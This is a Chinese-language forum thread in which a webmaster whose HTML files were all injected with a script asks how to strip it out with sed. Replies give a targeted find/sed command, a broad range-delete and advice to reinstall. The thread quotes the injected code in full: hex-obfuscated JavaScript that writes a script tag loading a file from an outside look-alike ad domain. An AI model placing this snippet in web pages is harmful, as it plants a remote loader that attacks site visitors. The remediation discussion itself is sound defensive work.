求救求救，如何用sed批量替换字符串

hxzyzz

网站被挂马了，所有html文件都被挂了js脚本。想请教一下大家怎么用sed命令批量替换掉脚本。
被挂的脚本如下：

1. <Script language="javascript">
   
2. <!--
   
3. window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
   
4. -->
   
5. </Script>

复制代码

谢谢各位了！

hxzyzz

顶顶 救急啊

q1208c

重装机器吧.

谁能保证只有 html 有问题呢.

phanx

回复 1# hxzyzz

1. find ./ -name "*.html" | xargs -L 1 sed -i '/<Script language=\"javascript\">/{ N; N; N; N; s/<Script language="javascript">\n<!--\nwindow\["\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74"\]\["\\x77\\x72\\x69\\x74\\x65"\] ('\''\\x3c\\x53\\x43\\x52\\x49\\x50\\x54 \\x73\\x72\\x63\\x3d\\x22\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x77\\x77\\x2e\\x67\\x6f\\x6f\\x67\\x6c\\x65\\x61\\x64\\x73\\x6c\\x2e\\x63\\x6f\\x6d\\x2f\\x73\\x70\\x63\\x6f\\x64\\x65\\x2f\\x6a\\x71\\x75\\x65\\x72\\x79\\x2e\\x6a\\x73\\x22\\x3e\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e'\'');\n-->\n<\/Script>//g }'

复制代码

find 后面的路径跟你Web的根目录。 替换前所有文件先备个份。

yestreenstars

1. sed '/<Script language="javascript">/,/<\/Script>/d'

复制代码

phanx

楼上这样写，html中正常的<script> </script>段都会被删除，你这副作用太大了。